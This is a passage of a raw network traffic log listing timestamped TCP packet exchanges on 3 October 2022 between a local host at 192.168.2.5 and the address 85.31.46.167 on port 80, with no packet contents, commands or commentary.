Oct 3, 2022 17:30:00.246731043 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.246737003 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.246756077 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.246761084 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.246773958 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.246784925 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.246803045 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.246809006 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.246833086 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.246835947 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.246848106 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.246855974 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.246885061 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.246892929 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.246906042 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.246917963 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.246939898 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.246954918 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.246962070 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.246968031 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.246978998 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.246987104 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.247004986 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.247010946 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.247020006 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.247035027 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.247054100 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.247061014 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.247075081 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.247083902 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.247103930 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.247109890 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.247128010 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.247139931 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.247139931 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.247150898 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.247172117 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.247176886 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.247198105 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.247200012 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.247221947 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.247224092 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.247237921 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.247246981 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.247267962 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.247272968 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.247287035 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.247297049 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.247315884 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.247320890 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.247334003 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.247344971 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.247365952 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.247369051 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.247385025 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.247392893 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.247411966 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.247416019 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.247435093 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.247441053 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.247458935 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.247464895 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.247483969 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.247483015 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.247499943 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.247513056 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.247529030 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.247535944 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.247553110 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.247560024 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.247574091 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.247582912 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.247601986 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.247607946 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.247627020 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.247633934 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.247647047 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.247657061 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.247675896 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.247682095 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.247700930 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.247704983 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.247723103 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.247730970 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.247745991 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.247754097 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.247772932 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.247778893 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.247796059 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.247802973 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.247821093 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.247828007 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.247843027 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.247853041 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.247869968 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.247894049 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.275229931 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.275276899 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.275305986 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.275305986 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.275333881 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.275362968 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.275389910 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.275403976 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.275417089 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.275451899 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.275456905 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.275479078 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.275482893 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.275511980 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.275515079 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.275541067 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.275544882 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.275568962 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.275582075 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.275582075 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.275595903 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.275609016 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.275624037 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.275635958 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.275650978 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.275661945 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.275680065 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.275693893 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.275710106 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.275719881 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.275738955 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.275749922 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.275765896 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.275778055 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.275794029 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.275804996 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.275820971 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.275832891 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.275851011 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.275861025 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.275877953 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.275897026 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.275906086 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.275916100 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.275933027 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.275944948 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.275959969 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.275971889 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.275986910 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.275999069 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.276014090 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.276029110 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.276041031 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.276055098 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.276067972 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.276082993 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.276094913 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.276115894 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.276123047 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.276132107 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.276149988 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.276161909 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.276176929 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.276187897 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.276206970 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.276216030 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.276233912 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.276245117 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.276261091 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.276271105 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.276288033 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.276302099 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.276314020 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.276328087 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.276341915 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.276352882 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.276369095 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.276381016 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.276396036 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.276406050 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.276422024 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.276433945 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.276448965 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.276462078 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.276475906 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.276488066 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.276503086 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.276514053 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.276530027 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.276541948 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.276556015 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.276566982 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.276582956 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.276593924 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.276609898 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.276621103 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.276638031 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.276647091 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.276664972 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.276676893 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.276690960 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.276701927 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.276717901 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.276731014 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.276745081 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.276757956 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.276772022 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.276784897 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.276814938 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.276815891 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.276844025 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.276853085 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.276870966 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.276881933 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.276897907 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.276909113 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.276925087 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.276942968 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.276953936 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.276964903 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.276982069 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.276993036 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.277008057 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.277019024 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.277035952 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.277045012 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.277064085 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.277076006 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.277091980 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.277101994 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.277117968 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.277132034 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.277146101 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.277157068 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.277172089 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.277184963 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.277199030 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.277209997 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.277226925 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.277246952 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.277254105 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.277261972 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.277281046 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.277288914 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.277307987 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.277317047 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.277335882 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.277345896 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.277362108 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.277373075 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.277389050 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.277396917 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.277415991 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.277425051 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.277443886 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.277471066 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.277472973 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.277488947 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.277497053 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.277507067 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.277524948 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.277539015 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.277550936 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.277576923 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.277589083 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.277590036 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.277602911 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.277614117 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.277630091 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.277643919 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.277657032 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.277674913 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.277684927 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.277695894 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.277712107 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.277734041 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.277746916 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.277750969 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.277775049 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.277785063 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.277801991 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.277827024 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.277827978 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.277842999 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.277854919 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.277874947 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.277883053 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.277893066 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.277910948 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.277925014 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.277936935 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.277951002 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.277964115 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.277981997 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.277990103 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.277998924 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.278017044 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.278029919 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.278043032 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.278057098 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.278069973 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.278084040 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.278096914 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.278110981 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.278124094 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.278137922 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.278150082 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.278163910 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.278177977 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.278191090 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.278215885 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.305304050 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.305406094 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.305411100 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.305459976 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.305474997 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.305525064 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.305545092 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.305574894 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.305577040 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.305624008 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.305624962 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.305665970 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.305668116 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.305711031 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.305712938 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.305758953 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.305761099 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.305805922 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.305807114 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.305846930 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.305850029 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.305896997 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.305896997 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.305943966 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.305944920 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.305988073 CEST	49694	80	192.168.2.5	85.31.46.167
